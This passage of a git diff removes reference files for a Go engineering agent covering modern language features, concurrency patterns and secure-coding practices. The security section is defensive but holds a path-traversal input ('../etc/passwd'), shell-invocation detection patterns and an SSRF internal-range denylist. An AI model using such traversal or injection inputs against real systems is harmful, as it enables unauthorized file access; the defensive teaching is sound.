| 1.8 | -| `errors.Is` | `errors.Is(err, target)` not `err == target` (works with wrapped errors) | 1.13 | - -## Go 1.18: Generics and Fuzzing - -**Generics** — type parameters for functions, types, and interfaces. - -```go -// OLD: separate functions or interface{} with type assertions -func ContainsInt(s []int, v int) bool { ... } -func ContainsString(s []string, v string) bool { ... } - -// NEW: single generic function -func Contains[T comparable](s []T, v T) bool { - for _, item := range s { - if item == v { - return true - } - } - return false -} -``` - -**Fuzzing** — built-in fuzz testing support. - -```go -func FuzzReverse(f *testing.F) { - f.Add("hello") - f.Fuzz(func(t *testing.T, s string) { - rev := Reverse(s) - doubleRev := Reverse(rev) - if s != doubleRev { - t.Errorf("double reverse: %q -> %q -> %q", s, rev, doubleRev) - } - }) -} -``` - -**`any` type alias** — `any` is now a builtin alias for `interface{}`. Prefer `any` everywhere. - -## Go 1.19: Atomic Types - -Type-safe wrappers in `sync/atomic` eliminate raw pointer casts. - -```go -// OLD: untyped atomic operations -var counter int64 -atomic.AddInt64(&counter, 1) -val := atomic.LoadInt64(&counter) - -// NEW: typed atomic values -var counter atomic.Int64 -counter.Add(1) -val := counter.Load() - -// Also: atomic.Bool, atomic.Pointer[T] -var ready atomic.Bool -ready.Store(true) -if ready.Load() { - // ... -} -``` - -## Go 1.20: errors.Join and Context Enhancements - -**errors.Join** — combine multiple errors into one. - -```go -// OLD: only one error could be returned, or custom multi-error -func validate(cfg Config) error { - // could only return the first error found -} - -// NEW: collect and return all errors -func validate(cfg Config) error { - var errs []error - if cfg.Port == 0 { - errs = append(errs, fmt.Errorf("port is required")) - } - if cfg.Host == "" { - errs = append(errs, fmt.Errorf("host is required")) - } - if cfg.Port < 0 || cfg.Port > 65535 { - errs = append(errs, fmt.Errorf("port %d out of range", cfg.Port)) - } - return errors.Join(errs...) // returns nil if errs is empty -} - -// Each sub-error is still matchable with errors.Is / errors.As -``` - -**context.WithCancelCause** — attach a reason to cancellation. - -```go -ctx, cancel := context.WithCancelCause(parentCtx) - -// Cancel with a reason -cancel(fmt.Errorf("user %s requested shutdown", userID)) - -// Retrieve the cause -if err := ctx.Err(); err != nil { - cause := context.Cause(ctx) - slog.Info("context canceled", "cause", cause) -} -``` - -## Go 1.21: slices, maps, slog, and Builtins - -**slices and maps packages** — generic helpers in the standard library. - -```go -// OLD: hand-written sort -sort.Slice(users, func(i, j int) bool { - return users[i].Age < users[j].Age -}) - -// NEW: type-safe sort -slices.SortFunc(users, func(a, b User) int { - return cmp.Compare(a.Age, b.Age) -}) - -// Other highlights: -slices.Contains(names, "alice") -slices.Index(names, "bob") -slices.Compact(sorted) // remove consecutive duplicates -maps.Keys(m) // []K from map[K]V -maps.Values(m) // []V from map[K]V -maps.Clone(m) // shallow copy -``` - -**min/max builtins** — no more hand-rolled helpers. - -```go -// OLD -func min(a, b int) int { if a < b { return a }; return b } - -// NEW: built-in, works with any ordered type -x := min(a, b) -y := max(a, b, c) // variadic -``` - -**slog** — structured logging in the standard library. - -```go -// OLD: log.Printf with string formatting -log.Printf("processing order id=%s user=%s", orderID, userID) - -// NEW: structured, leveled logging -slog.Info("processing order", "order_id", orderID, "user_id", userID) -slog.Error("payment failed", "err", err, "order_id", orderID) - -// Configure handler -logger := slog.New(slog.NewJSONHandler(os.Stdout, &slog.HandlerOptions{ - Level: slog.LevelInfo, -})) -slog.SetDefault(logger) -``` - -**clear()** — built-in to zero out maps and slices. - -```go -m := map[string]int{"a": 1, "b": 2} -clear(m) // m is now empty (len 0), but allocated memory is retained - -s := []int{1, 2, 3} -clear(s) // sets all elements to zero value: [0, 0, 0] -``` - -**sync.OnceValue / sync.OnceFunc** — typed single-initialization helpers. - -```go -var getConfig = sync.OnceValue(func() *Config { - cfg, _ := loadConfigFromDisk() - return cfg -}) -// Usage: cfg := getConfig() -``` - -## Go 1.22: Range Over Integers and Enhanced ServeMux - -**Range over integers** — iterate without a manual index variable. - -```go -// OLD -for i := 0; i < 10; i++ { - fmt.Println(i) -} - -// NEW: range over int -for i := range 10 { - fmt.Println(i) // 0..9 -} -``` - -**Enhanced ServeMux** — HTTP method and path parameter support in the default mux. - -```go -// OLD: manual method checks, third-party routers for path params -mux.HandleFunc("/users/", func(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - http.Error(w, "method not allowed", 405) - return - } - id := strings.TrimPrefix(r.URL.Path, "/users/") - // ... -}) - -// NEW: method prefix and {param} wildcards -mux := http.NewServeMux() -mux.HandleFunc("GET /users/{id}", func(w http.ResponseWriter, r *http.Request) { - id := r.PathValue("id") - // ... -}) -mux.HandleFunc("POST /users", createUser) -mux.HandleFunc("DELETE /users/{id}", deleteUser) -``` - -**Loop variable fix** — loop variables are now per-iteration (no more closure capture bugs). - -```go -// In Go <1.22, this was a common bug: -for _, v := range values { - go func() { - fmt.Println(v) // all goroutines saw the same (last) v - }() -} -// In Go 1.22+, each iteration gets its own v. The bug is gone. -``` - -## Go 1.23: Range Over Functions and unique Package - -**Range over function iterators** — custom iterators that work with `for range`. - -```go -// Define an iterator using the iter package types -func Fibonacci() iter.Seq[int] { - return func(yield func(int) bool) { - a, b := 0, 1 - for { - if !yield(a) { - return - } - a, b = b, a+b - } - } -} - -// Use it with for-range -for n := range Fibonacci() { - if n > 1000 { - break - } - fmt.Println(n) -} - -// Seq2 for key-value pairs -func Enumerate[T any](s []T) iter.Seq2[int, T] { - return func(yield func(int, T) bool) { - for i, v := range s { - if !yield(i, v) { - return - } - } - } -} -``` - -**unique package** — interned (deduplicated) comparable values for memory efficiency. - -```go -// Intern strings to reduce memory for repeated values -handle := unique.Make("frequently-used-string") -val := handle.Value() // "frequently-used-string" - -// Two handles with the same value compare as equal (pointer comparison internally) -h1 := unique.Make("hello") -h2 := unique.Make("hello") -fmt.Println(h1 == h2) // true — same underlying storage -``` - -## Go 1.24: Weak Pointers, os.Root, and testing/synctest - -**weak package** — weak pointers that don't prevent garbage collection. - -```go -// Create a weak pointer — does not keep the object alive -type CacheEntry struct{ data []byte } - -strong := &CacheEntry{data: loadData()} -w := weak.Make(strong) - -// Later: check if the object is still alive -if val := w.Value(); val != nil { - use(val) -} else { - // Object was garbage collected; reload -} -``` - -**os.Root** — confined filesystem access (no escaping a directory tree). - -```go -// Open a root directory — all operations are confined within it -root, err := os.OpenRoot("/var/data/uploads") -if err != nil { - return err -} -defer root.Close() - -// These operations cannot escape /var/data/uploads -f, err := root.Open("user/photo.jpg") // OK -f, err = root.Open("../etc/passwd") // error: path escapes root -``` - -**testing/synctest** — deterministic testing of concurrent code. - -```go -func TestTimeout(t *testing.T) { - synctest.Run(func() { - ch := make(chan string) - - go func() { - time.Sleep(10 * time.Second) // doesn't actually wait - ch <- "done" - }() - - // Advance fake time to trigger the sleep - synctest.Wait() - time.Sleep(10 * time.Second) // advances fake clock - synctest.Wait() - - select { - case msg := <-ch: - if msg != "done" { - t.Errorf("unexpected: %s", msg) - } - default: - t.Fatal("expected message") - } - }) -} -``` - -## Go 1.25: Swiss Table Maps and GOROOT Removal - -**Swiss table map implementation** — maps now use a Swiss table internally for better performance. No code changes needed; existing map code automatically benefits from faster lookups and lower memory overhead. - -**GOROOT removal** — the `GOROOT` environment variable and `runtime.GOROOT()` are deprecated. The toolchain is self-contained; rely on `go env GOROOT` if you need the path. - -**Improved build caching** — faster incremental builds through smarter cache invalidation. - -```go -// No migration needed for Swiss tables — just upgrade Go. -// Benchmark your map-heavy code to see improvements: -func BenchmarkMapLookup(b *testing.B) { - m := make(map[string]int, 1000) - for i := range 1000 { - m[fmt.Sprintf("key-%d", i)] = i - } - b.ResetTimer() - for range b.N { - _ = m["key-500"] - } -} -``` - -## Go 1.26: Extended new() and errors.AsType - -**Extended `new()` builtin** -- accepts expressions, not just types. Returns a pointer to a copy of the value. - -```go -// OLD: variable + address-of -timeout := 30 -debug := true -cfg := Config{ - Timeout: &timeout, - Debug: &debug, -} - -// NEW: new(val) returns pointer directly -cfg := Config{ - Timeout: new(30), // *int - Debug: new(true), // *bool -} - -// Type is inferred: new(0) -> *int, new("s") -> *string, new(T{}) -> *T -// Do NOT use redundant casts like new(int(0)) -- just write new(0) -``` - -**`errors.AsType[T]`** -- generic type assertion for errors, replacing `errors.As` with pointer dance. - -```go -// OLD: declare target variable, pass pointer -var pathErr *os.PathError -if errors.As(err, &pathErr) { - handle(pathErr) -} - -// NEW: generic, returns value and bool -if pathErr, ok := errors.AsType[*os.PathError](err); ok { - handle(pathErr) -} -``` - -## Migration Checklist - -When upgrading a project to modern Go, apply these changes: - -| Old Pattern | New Pattern | Since | -|---|---|---| -| `time.Now().Sub(start)` | `time.Since(start)` | 1.0 | -| `deadline.Sub(time.Now())` | `time.Until(deadline)` | 1.8 | -| `err == target` | `errors.Is(err, target)` | 1.13 | -| `interface{}` | `any` | 1.18 | -| `atomic.AddInt64(&x, 1)` | `x.Add(1)` with `atomic.Int64` | 1.19 | -| Custom multi-error | `errors.Join(errs...)` | 1.20 | -| `sort.Slice(s, less)` | `slices.SortFunc(s, cmp)` | 1.21 | -| `log.Printf(...)` | `slog.Info(msg, key, val)` | 1.21 | -| Hand-written `min`/`max` | Built-in `min(a, b)` | 1.21 | -| `for i := 0; i < n; i++` | `for i := range n` | 1.22 | -| Third-party HTTP router | `mux.HandleFunc("GET /path/{id}", h)` | 1.22 | -| Custom iterator types | `iter.Seq[T]` / `iter.Seq2[K,V]` | 1.23 | -| String dedup caches | `unique.Make(s)` | 1.23 | -| Manual path sanitization | `os.OpenRoot(dir)` | 1.24 | -| `time.Sleep` in tests | `testing/synctest` | 1.24 | -| `x := val; &x` for pointer | `new(val)` | 1.26 | -| `var t *T; errors.As(err, &t)` | `errors.AsType[*T](err)` | 1.26 | diff --git a/agents/golang-general-engineer/references/go-preferred-patterns.md b/agents/golang-general-engineer/references/go-preferred-patterns.md deleted file mode 100644 index fb0f7c7e..00000000 --- a/agents/golang-general-engineer/references/go-preferred-patterns.md +++ /dev/null @@ -1,337 +0,0 @@ -# Go General Engineer - Preferred Patterns - -Action-first patterns for correct Go code. Each section leads with what to do and why, followed by detection commands for finding violations. - -## Handle Every Error Return - -Check every error return immediately after the call. Wrap errors with `fmt.Errorf("context: %w", err)` to build a traceable chain from the failure point to the caller. For write operations, also verify the byte count matches the expected length. - -```go -result, err := database.Query("SELECT ...") -if err != nil { - return fmt.Errorf("query failed: %w", err) -} - -n, err := file.Write(data) -if err != nil { - return fmt.Errorf("write failed: %w", err) -} -if n != len(data) { - return fmt.Errorf("incomplete write: wrote %d of %d bytes", n, len(data)) -} -``` - -**Why this matters**: Unchecked errors hide root causes. A nil-pointer panic three calls later is harder to debug than the original error. Silent failures compound in production and make debugging impossible. - -**Detection**: `grep -rn '_ :=' --include="*.go"` and `grep -rn '_ =' --include="*.go"` find suppressed error returns. - ---- - -## Give Every Goroutine an Exit Strategy - -Pass a `context.Context` or a stop channel to every goroutine and `select` on it inside the loop. This ensures graceful shutdown and prevents goroutine leaks that grow memory unbounded. - -```go -func StartWorker(ctx context.Context) { - go func() { - for { - select { - case <-ctx.Done(): - return // Exit when context canceled - default: - work() - } - } - }() -} - -// Alternative: channel-based stop signal -func StartWorker(stop <-chan struct{}) { - go func() { - for { - select { - case <-stop: - return - default: - work() - } - } - }() -} -``` - -**Why this matters**: A goroutine without an exit path runs until the process dies. In long-running services, leaked goroutines accumulate resources (memory, file descriptors, network connections) with no way to reclaim them. - -**Detection**: `grep -rn 'go func' --include="*.go" | grep -v 'ctx\|cancel\|stop\|done\|quit'` finds goroutines that may lack exit signals. - ---- - -## Call WaitGroup.Add Before Spawning the Goroutine - -Always call `wg.Add(1)` in the parent goroutine before the `go` statement, never inside the spawned goroutine. This eliminates the race between `Add()` and `Wait()`. - -```go -var wg sync.WaitGroup -for _, item := range items { - wg.Add(1) // Add BEFORE spawning goroutine - go func(i Item) { - defer wg.Done() - process(i) - }(item) -} -wg.Wait() -``` - -**Why this matters**: When `Add()` runs inside the goroutine, `Wait()` can return before all goroutines have registered. This creates a race condition that causes intermittent panics or incorrect synchronization -- the kind of bug that passes tests 99% of the time. - -**Detection**: `grep -A3 'go func' --include="*.go" -rn | grep 'wg.Add'` finds `Add()` calls inside goroutines. - ---- - -## Capture Loop Variables Before Passing to Goroutines - -Pass loop variables as function parameters to goroutines, or shadow them with a local copy. In Go versions before 1.22, closures capture the variable reference, not the value -- all goroutines see the last iteration's value. - -```go -// Option 1: Pass as parameter (works on all Go versions) -for _, item := range items { - go func(i Item) { - process(i) - }(item) -} - -// Option 2: Shadow the loop variable -for _, item := range items { - item := item // Shadow loop variable -- creates a new copy per iteration - go func() { - process(item) - }() -} -``` - -**Why this matters**: Without capturing, every goroutine processes the same (last) item. This produces correct-looking output that is silently wrong. Go 1.22+ changed loop variable semantics to create a new variable per iteration, but explicit capture remains the safe portable pattern. - -**Detection**: `grep -B2 -A3 'go func()' --include="*.go" -rn | grep 'range'` finds closures in range loops that may capture the loop variable. - ---- - -## Close Channels When the Producer Finishes - -Use `defer close(ch)` at the top of the producer function. The receiver's `range` loop exits automatically when the channel closes. Only the sender should close a channel -- never the receiver. - -```go -func produce(ch chan int) { - defer close(ch) // Close when done producing - for i := 0; i < 10; i++ { - ch <- i - } -} - -// Receiver exits cleanly when channel closes -for val := range ch { - fmt.Println(val) -} -``` - -**Why this matters**: An unclosed channel causes `range` loops to block forever. The receiving goroutine leaks, and the program hangs or accumulates zombie goroutines. - -**Detection**: Look for `range ch` patterns where the producing function lacks a `close()` call. `grep -rn 'range.*chan\|for.*:=.*range' --include="*.go"` identifies range-over-channel consumers to audit. - ---- - -## Copy Loop Variables Before Taking Their Address - -When appending pointers from a loop, create an explicit copy of the loop variable before taking its address. Without the copy, all pointers reference the same memory location and resolve to the last iteration's value. - -```go -func getUsers() []*User { - var users []*User - for _, data := range userData { - user := parseUser(data) - u := user // Create a new variable -- each pointer gets its own copy - users = append(users, &u) - } - return users -} - -// Alternative: construct the value directly -func getUsers() []*User { - var users []*User - for _, data := range userData { - users = append(users, &User{ - Name: data.Name, - Email: data.Email, - }) - } - return users -} -``` - -**Why this matters**: All pointers in the slice end up pointing to the same memory address, which holds only the last iteration's value. This is a silent data corruption bug -- the slice appears correctly sized but every element is identical. - -**Detection**: `grep -B3 -A1 'append.*&' --include="*.go" -rn | grep 'range'` finds pointer-append patterns inside range loops. - ---- - -## Extract defer Cleanup Into a Separate Function - -`defer` runs at function exit, not at the end of a loop iteration. To release resources per iteration, extract the loop body into its own function so `defer` fires at each iteration's function return. - -```go -// Correct: extract to function so defer runs per iteration -for _, file := range files { - if err := processFile(file); err != nil { - return err - } -} - -func processFile(filename string) error { - f, err := os.Open(filename) - if err != nil { - return err - } - defer f.Close() // Runs when processFile returns -- once per file - - return process(f) -} - -// Alternative: explicit close without defer -for _, file := range files { - f, err := os.Open(file) - if err != nil { - return err - } - - err = process(f) - f.Close() // Close immediately, don't defer - - if err != nil { - return err - } -} -``` - -**Why this matters**: `defer` inside a loop accumulates all deferred calls until the enclosing function returns. For file handles, this means all files stay open simultaneously. With enough iterations, the process exhausts file descriptors and crashes. - -**Detection**: `grep -B2 'defer.*Close\|defer.*Unlock\|defer.*Release' --include="*.go" -rn | grep 'for '` finds defer-in-loop patterns. - ---- - -## Check Slice Length Directly With len() - -Use `len(slice) > 0` to check for a non-empty slice. A nil slice returns `len() == 0`, so a separate nil check is redundant. This applies to maps too: `len(m) > 0` covers both nil and empty. - -```go -if len(slice) > 0 { - // Process slice -} - -// len(nil) == 0, so this is safe and idiomatic -``` - -**Why this matters**: `if slice != nil && len(slice) > 0` is functionally identical but adds visual noise. Go's standard library treats nil slices and empty slices interchangeably, and idiomatic Go follows this convention. - -**Detection**: `grep -rn '!= nil && len(' --include="*.go"` finds redundant nil-before-length checks. - ---- - -## Return Errors Instead of Panicking - -Use the `(value, error)` return pattern for expected failure cases. Reserve `panic` for truly unrecoverable situations: corrupted invariants, impossible states, and startup configuration failures in `main()` or `init()`. - -```go -func getUser(id int) (*User, error) { - user := db.Find(id) - if user == nil { - return nil, fmt.Errorf("user not found: %d", id) - } - return user, nil -} -``` - -**When panic IS appropriate**: -- In `main()` or `init()` for missing configuration -- Unrecoverable corruption (violated data invariants) -- Programming errors that indicate a logic bug (index out of range on a fixed-size array) - -**Why this matters**: `panic` crashes the goroutine's stack. If the caller has no `recover()`, the entire program dies. Using panic for expected conditions (user not found, network timeout) forces every caller to add recovery boilerplate and makes error handling unpredictable. - -**Detection**: `grep -rn 'panic(' --include="*.go" | grep -v '_test.go\|main.go\|init()'` finds panics outside test/init contexts. - ---- - -## Buffer Channels When the Sender Must Not Block - -Use `make(chan T, 1)` (buffer size 1) when a goroutine produces a single result and must not block if the receiver has not called receive yet. This prevents goroutine leaks when the receiver panics or returns early. - -```go -// Buffer size 1: sender never blocks, even if receiver is delayed or absent -ch := make(chan Result, 1) -go func() { - result := compute() - ch <- result // Never blocks because buffer absorbs the value -}() - -doSomethingThatMightPanic() -result := <-ch -``` - -**Why this matters**: With an unbuffered channel, the sender blocks until a receiver is ready. If the receiver panics, returns early, or simply never reads, the sending goroutine leaks permanently. A buffer of 1 lets the sender complete and exit regardless of receiver timing. - -**Detection**: `grep -rn 'make(chan' --include="*.go" | grep -v ','` finds unbuffered channel allocations to audit. - ---- - -## Use Field Comparison or Equal Methods for Structs With Non-Comparable Fields - -Structs containing slices, maps, or functions cannot use `==`. Compare individual fields, implement a custom `Equal` method, or use `reflect.DeepEqual` (slower, for tests only). - -```go -// Option 1: Compare individual fields explicitly -if user1.Name == user2.Name && slices.Equal(user1.Tags, user2.Tags) { - fmt.Println("equal") -} - -// Option 2: Implement a custom Equal method -func (u User) Equal(other User) bool { - return u.Name == other.Name && slices.Equal(u.Tags, other.Tags) -} - -// Option 3: reflect.DeepEqual -- acceptable in tests, avoid in production -if reflect.DeepEqual(user1, user2) { - fmt.Println("equal") -} -``` - -**Why this matters**: Using `==` on a struct with slice or map fields produces a compile error. Using `reflect.DeepEqual` in production paths adds significant overhead. Explicit field comparison or custom `Equal` methods are both correct and performant. - -**Detection**: `grep -rn 'DeepEqual' --include="*.go" | grep -v '_test.go'` finds production use of reflection-based comparison. - ---- - -## Keep Mutexes Unexported and Wrap Access in Methods - -Embed mutexes as unexported fields (`mu sync.Mutex`) and expose thread-safe methods instead of exposing the lock to callers. This prevents external code from acquiring the lock without releasing it. - -```go -type Counter struct { - mu sync.Mutex // Unexported -- callers cannot misuse the lock - count int // Unexported -- access only through methods -} - -func (c *Counter) Increment() { - c.mu.Lock() - defer c.mu.Unlock() - c.count++ -} - -func (c *Counter) Value() int { - c.mu.Lock() - defer c.mu.Unlock() - return c.count -} -``` - -**Why this matters**: An exported `sync.Mutex` (or embedded `sync.Mutex` in an exported struct) lets any caller call `Lock()` directly. A caller who locks without unlocking deadlocks the entire struct. Unexported mutexes with method wrappers make correct locking the only option. - -**Detection**: `grep -rn 'sync.Mutex' --include="*.go" | grep -v 'mu \|mu '` finds mutexes that may be exported or improperly named. diff --git a/agents/golang-general-engineer/references/go-security.md b/agents/golang-general-engineer/references/go-security.md deleted file mode 100644 index 09d74e6e..00000000 --- a/agents/golang-general-engineer/references/go-security.md +++ /dev/null @@ -1,401 +0,0 @@ -# Go Secure Implementation Patterns - -Secure-by-default patterns for Go applications. Each section shows what correct code looks like and why it matters. Load this reference when the task involves security, auth, injection, XSS, CSRF, SSRF, path traversal, or any vulnerability-related code. - ---- - -## Use exec.Command With Explicit Arguments - -Pass command arguments as separate strings to `exec.Command`. Never concatenate user input into a shell string. - -```go -import "os/exec" - -// Correct: each argument is a separate string, no shell involved -cmd := exec.Command("git", "clone", "--", userURL) -output, err := cmd.CombinedOutput() -if err != nil { - return fmt.Errorf("git clone: %w", err) -} - -// Correct: use "--" separator to prevent argument injection -cmd := exec.Command("git", "checkout", "--", branchName) -``` - -**Why this matters**: `exec.Command("sh", "-c", "git clone "+userURL)` passes the string through a shell where metacharacters (`;`, `|`, `&`, `$()`) are interpreted. `exec.Command` with separate arguments bypasses the shell entirely, sending each argument as a single argv entry. CVE-2021-22205 (GitLab ExifTool, CVSS 10.0) demonstrated command injection through shelled invocation. - -**Detection**: -```bash -rg -n 'exec\.Command\("sh"|exec\.Command\("bash"|exec\.Command\("/bin/sh"' . --type go -rg -n 'exec\.Command.*\+.*' . --type go -``` - ---- - -## Validate Paths With filepath.Clean and Containment Checks - -When serving or reading files based on user input, resolve the path and verify it stays within the intended base directory. - -```go -import ( - "net/http" - "path/filepath" - "strings" -) - -func serveFile(w http.ResponseWriter, r *http.Request) { - baseDir := "/var/app/exports" - name := r.URL.Query().Get("name") - - // Clean normalizes "..", removes redundant separators - target := filepath.Join(baseDir, filepath.Clean("/"+name)) - - // Containment check: resolved path must start with base - absTarget, err := filepath.Abs(target) - if err != nil || !strings.HasPrefix(absTarget, baseDir+string(filepath.Separator)) { - http.Error(w, "forbidden", http.StatusForbidden) - return - } - - http.ServeFile(w, r, absTarget) -} -``` - -**Why this matters**: `filepath.Join("/base", userInput)` does not prevent traversal. If `userInput` is `../../etc/passwd`, the result escapes the base directory. `filepath.Clean` normalizes the path, and the `HasPrefix` check ensures containment. CVE-2007-4559 (Python tarfile) and CVE-2023-26111 (node-static) are canonical path traversal incidents applicable to any language. - -**Detection**: -```bash -rg -n 'filepath\.Join.*r\.(URL|Form|PostForm)' . --type go -rg -n 'http\.ServeFile|os\.Open.*r\.' . --type go -rg -n 'strings\.HasPrefix.*filepath' . --type go -``` - ---- - -## Use Parameterized Queries for All Database Access - -Pass user input as parameters, never interpolate into SQL strings with `fmt.Sprintf` or string concatenation. - -```go -import "database/sql" - -// Correct: parameterized query with database/sql -row := db.QueryRowContext(ctx, "SELECT * FROM users WHERE id = $1", userID) - -// Correct: parameterized exec -_, err := db.ExecContext(ctx, - "INSERT INTO invoices (customer_id, amount) VALUES ($1, $2)", - customerID, amount, -) - -// Correct: sqlx named parameters -import "github.com/jmoiron/sqlx" - -query := "SELECT * FROM users WHERE name = :name AND org_id = :org_id" -rows, err := db.NamedQueryContext(ctx, query, map[string]interface{}{ - "name": userName, - "org_id": orgID, -}) - -// Correct: squirrel query builder -import sq "github.com/Masterminds/squirrel" - -query, args, err := sq.Select("*"). - From("users"). - Where(sq.Eq{"name": userName, "org_id": orgID}). - PlaceholderFormat(sq.Dollar). - ToSql() -``` - -**Why this matters**: `fmt.Sprintf("SELECT * FROM users WHERE name = '%s'", name)` allows SQL injection through string interpolation. Parameterized queries separate SQL structure from data, preventing injection regardless of input content. - -**Detection**: -```bash -rg -n 'fmt\.Sprintf.*SELECT|fmt\.Sprintf.*INSERT|fmt\.Sprintf.*UPDATE|fmt\.Sprintf.*DELETE' . --type go -rg -n 'fmt\.Sprintf.*WHERE' . --type go -``` - ---- - -## Use html/template for Web Output - -Use `html/template` (not `text/template`) for any output that reaches a web browser. `html/template` auto-escapes values based on context (HTML, JavaScript, URL, CSS). - -```go -import "html/template" - -// Correct: html/template auto-escapes based on context -tmpl := template.Must(template.ParseFiles("page.html")) - -func handler(w http.ResponseWriter, r *http.Request) { - data := struct { - Username string - Message string - }{ - Username: r.FormValue("username"), - Message: r.FormValue("message"), - } - tmpl.Execute(w, data) -} -``` - -```html - -

Hello, {{.Username}}

-

{{.Message}}

-``` - -**Why this matters**: `text/template` performs no escaping. If user input contains ``, it reaches the browser verbatim as executable JavaScript. `html/template` applies context-aware escaping: HTML-entity-encodes in element content, JS-encodes in script contexts, URL-encodes in href attributes. - -**Detection**: -```bash -rg -n '"text/template"' . --type go -rg -n 'template\.HTML\(' . --type go -``` - ---- - -## Use crypto/subtle for Timing-Safe Comparisons - -Compare secrets, tokens, HMAC digests, and API keys using `crypto/subtle.ConstantTimeCompare`. Never use `==` or `bytes.Equal` for security-critical comparisons. - -```go -import "crypto/subtle" - -// Correct: constant-time comparison for tokens -func verifyToken(provided, expected string) bool { - return subtle.ConstantTimeCompare([]byte(provided), []byte(expected)) == 1 -} - -// Correct: HMAC verification -func verifyHMAC(message, providedMAC, key []byte) bool { - mac := hmac.New(sha256.New, key) - mac.Write(message) - expectedMAC := mac.Sum(nil) - return hmac.Equal(providedMAC, expectedMAC) // hmac.Equal uses constant-time comparison -} -``` - -**Why this matters**: `==` short-circuits on the first mismatched byte. An attacker can measure response time differences to determine how many leading bytes of a token match, reducing a brute-force attack from exponential to linear time. - -**Detection**: -```bash -rg -n 'token\s*==\s*|apiKey\s*==\s*|secret\s*==\s*' . --type go -rg -n 'subtle\.ConstantTimeCompare|hmac\.Equal' . --type go -``` - ---- - -## Configure TLS With Secure Defaults - -Set minimum TLS version to 1.2 and use secure cipher suites when configuring TLS servers or clients. - -```go -import "crypto/tls" - -// Correct: TLS server configuration -tlsConfig := &tls.Config{ - MinVersion: tls.VersionTLS12, - CurvePreferences: []tls.CurveID{ - tls.X25519, - tls.CurveP256, - }, - // Let Go select cipher suites (Go 1.17+ uses a secure default order) -} - -server := &http.Server{ - Addr: ":443", - TLSConfig: tlsConfig, -} - -// Correct: TLS client with minimum version -client := &http.Client{ - Transport: &http.Transport{ - TLSClientConfig: &tls.Config{ - MinVersion: tls.VersionTLS12, - }, - }, -} -``` - -**Why this matters**: TLS 1.0 and 1.1 have known vulnerabilities (BEAST, POODLE). Go's default `tls.Config` already uses TLS 1.2 minimum since Go 1.18, but explicit configuration documents the intent and prevents regressions when custom configs are needed. - -**Detection**: -```bash -rg -n 'tls\.Config' . --type go -rg -n 'MinVersion|VersionTLS10|VersionTLS11' . --type go -rg -n 'InsecureSkipVerify:\s*true' . --type go -``` - ---- - -## Validate Outbound URLs to Prevent SSRF - -When making HTTP requests to user-supplied URLs, resolve the hostname to IP addresses and validate against private/internal ranges. Disable redirect following or re-validate on each hop. - -```go -import ( - "net" - "net/http" - "net/url" -) - -var disallowedNets = []net.IPNet{ - {IP: net.ParseIP("127.0.0.0"), Mask: net.CIDRMask(8, 32)}, - {IP: net.ParseIP("10.0.0.0"), Mask: net.CIDRMask(8, 32)}, - {IP: net.ParseIP("172.16.0.0"), Mask: net.CIDRMask(12, 32)}, - {IP: net.ParseIP("192.168.0.0"), Mask: net.CIDRMask(16, 32)}, - {IP: net.ParseIP("169.254.0.0"), Mask: net.CIDRMask(16, 32)}, // Cloud metadata -} - -func isSafeURL(rawURL string) error { - parsed, err := url.Parse(rawURL) - if err != nil { - return fmt.Errorf("invalid URL: %w", err) - } - if parsed.Scheme != "http" && parsed.Scheme != "https" { - return fmt.Errorf("disallowed scheme: %s", parsed.Scheme) - } - ips, err := net.LookupIP(parsed.Hostname()) - if err != nil { - return fmt.Errorf("DNS resolution failed: %w", err) - } - for _, ip := range ips { - for _, net := range disallowedNets { - if net.Contains(ip) { - return fmt.Errorf("disallowed IP: %s", ip) - } - } - } - return nil -} - -// Correct: validate before fetching, disable redirects -client := &http.Client{ - CheckRedirect: func(req *http.Request, via []*http.Request) error { - return http.ErrUseLastResponse // Do not follow redirects - }, - Timeout: 10 * time.Second, -} -``` - -**Why this matters**: The Capital One breach (2019) exploited SSRF to steal IAM credentials from the EC2 metadata service. String-based blocklists fail against DNS rebinding, IP encoding tricks (`0xa9fea9fe`, `[::ffff:169.254.169.254]`), and redirects. - -**Detection**: -```bash -rg -n 'http\.(Get|Post|Do)\(.*r\.(URL|Form)' . --type go -rg -n 'http\.NewRequest.*r\.' . --type go -``` - ---- - -## Return Generic Error Messages in HTTP Responses - -Return generic error messages to clients. Log detailed error information server-side with structured logging. - -```go -import "log/slog" - -func handler(w http.ResponseWriter, r *http.Request) { - result, err := processRequest(r) - if err != nil { - // Log details server-side with structured context - slog.Error("request processing failed", - "error", err, - "method", r.Method, - "path", r.URL.Path, - "request_id", r.Header.Get("X-Request-ID"), - ) - - // Return generic message to client - http.Error(w, "internal server error", http.StatusInternalServerError) - return - } - json.NewEncoder(w).Encode(result) -} -``` - -**Why this matters**: `http.Error(w, err.Error(), 500)` often leaks SQL query fragments, internal file paths, stack traces, database schema details, and configuration values. These details help attackers map internal architecture and craft targeted attacks. - -**Detection**: -```bash -rg -n 'err\.Error\(\)' . --type go | rg -i 'http\.Error|json\.|w\.Write' -rg -n 'fmt\.Fprintf.*err' . --type go -``` - ---- - -## Propagate Context for Auth and Authorization Decisions - -Carry authentication and authorization state through `context.Context`. Extract the authenticated user from context at every decision point rather than trusting headers or parameters. - -```go -type contextKey string - -const userContextKey contextKey = "authenticated_user" - -// Correct: middleware stores verified user in context -func authMiddleware(next http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - token := r.Header.Get("Authorization") - user, err := verifyToken(token) - if err != nil { - http.Error(w, "unauthorized", http.StatusUnauthorized) - return - } - ctx := context.WithValue(r.Context(), userContextKey, user) - next.ServeHTTP(w, r.WithContext(ctx)) - }) -} - -// Correct: handler extracts user from context, scopes queries -func getInvoices(w http.ResponseWriter, r *http.Request) { - user := r.Context().Value(userContextKey).(*User) - invoices, err := db.QueryContext(r.Context(), - "SELECT * FROM invoices WHERE org_id = $1", user.OrgID) - // ... -} -``` - -**Why this matters**: Storing auth state in context ensures every handler receives verified identity from middleware, not from raw request headers an attacker could forge. Context propagation also carries cancellation and deadline signals, preventing orphaned goroutines from outliving their request. - -**Detection**: -```bash -rg -n 'r\.Header\.Get\("X-User' . --type go -rg -n 'context\.WithValue.*user|context\.Value.*user' . --type go -``` - ---- - -## Scope HTTP Header Validation - -Validate and sanitize HTTP headers before use. Set security headers on all responses. - -```go -// Correct: set security headers via middleware -func securityHeaders(next http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - w.Header().Set("X-Content-Type-Options", "nosniff") - w.Header().Set("X-Frame-Options", "DENY") - w.Header().Set("Content-Security-Policy", "default-src 